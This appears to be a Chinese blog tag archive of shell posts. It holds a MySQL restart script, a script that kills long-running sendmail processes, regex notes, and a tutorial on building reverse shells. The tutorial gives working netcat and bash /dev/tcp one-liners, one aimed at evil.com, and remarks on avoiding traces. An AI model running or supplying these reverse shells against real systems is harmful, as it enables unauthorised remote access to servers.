标签归档:shell

shell MySQL服务状态检查脚本示例

闲来无事,自己写了一个mysql进程检查的脚本。想想初学编程时候到处去网上搜的经历,忽然想笑。我是运维工程师,我也想说:“I am a Coder!”。

#!/bin/bash
#DATE 2013/11/25
#MAIL gccmx@163.com
#FUNCTION check the mysql status,if not run start mysql.
#Create by Chenchao Gao
checkMysql(){
        CMDCHECK=`lsof -i:3306 &>/dev/null`
        Port=”$?”
        PIDCHECK=`ps aux|grep mysqld|grep -v grep`
        PID=”$?”
        if [ “$Port” -eq “0” -a “$PID” -eq 0 ];then
                return 200
        else
                return 500
        fi
}
startMysql(){
        /etc/init.d/mysqld start
}
checkMysql
if [ $? == 200 ];then
        echo “Mysql is running…”
else
        startMysql
        checkMysql
        if [ $? != 200 ];then
                while true
                do
                        killall mysqld
                        sleep 2
                        [ $? != 0 ]&&break
                done
                startMysql
        fi
fi

相关阅读

Linux Shell参数替换 http://www.linuxidc.com/Linux/2013-06/85356.htm

Shell for参数 http://www.linuxidc.com/Linux/2013-07/87335.htm

Linux/Unix Shell 参数传递到SQL脚本 http://www.linuxidc.com/Linux/2013-03/80568.htm

Shell脚本中参数传递方法介绍 http://www.linuxidc.com/L

shell判断进程使用CPU时间后kill进程

一个shell脚本,检测特定的程序,如果进程花费CPU运行的时间超过30分钟,就kill掉进程。脚本思路和写法相对简单,希望能起到抛砖引玉的作用。

#!/bin/bash
#author by Qfeian
#Process name
NAME=”sendmail”
for PID in `ps -A | grep “$NAME”|awk ‘{split($3,tab,/:/); if(tab[2]+tab[1]*60>=30) {print $1}}’`
do
    kill -9 $PID
done

相关阅读:

精通Linux的“kill”命令 http://www.linuxidc.com/Linux/2013-10/91544.htm

RHEL6系统进程管理之四进程管理kill命令 http://www.linuxidc.com/Linux/2012-09/71505.htm

Linux pgrep与kill的使用 http://www.linuxidc.com/Linux/2012-09/70128.htm

Linux下kill的用法 http://www.linu

Linux-shell-||,&&{},(),reg-命令执行顺序

<

div id=”content” contentScore=”771″> (),{}
(cmd1;cmd2;…;cmdN)# 在一个子shell里执行一组命令
{cmd1;cmd2;…;cmdN}# 在当前shell里执行一组命令

正则
^ 只只匹配行首
$ 只只匹配行尾
* 只一个单字符后紧跟*,匹配0个或多个此单字符
[ ] 只匹配[ ]内字符。可以是一个单字符,也可以是字符序列。可以使用-表示[ ]内字符序列范围,如用[ 1 – 5 ]代替[ 1 2 3 4 5 ]
\ 只用来屏蔽一个元字符的特殊含义。因为有时在s h e l l中一些元字符有特殊含义。\可以使其失去应有意义
. 只匹配任意单字符
pattern \ { n \ } 只用来匹配前面pattern出现次敼/div>

如何使用NetCat或BASH创建反向Shell来执行远程Root命令

<

div id=”content” contentScore=”1556″>反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。

反向Shell(Reverse Shell)

  • 反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。

Bind Shell

  • bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。

反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。

环境要求

  • 远程Unix主机
  • 安装了netcat

使用NetCat实现反向shell交互

当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:

nc -c /bin/sh <你的IP> <任何一个未封锁的端口>

你甚至能通过netcat来pipe BASH。

/bin/sh | nc <你的IP> <任何未封锁的端口>

然后监听这个shell:

nc -l -p <相同的端口> -vvv

通过BASH实现反向shell

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

监听shell:

nc -l -p <任何未封锁的端口> -vvv

先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。

exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done

或另外一个反向shell:

0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196

<img src=”http://www.linuxidc.com/uplo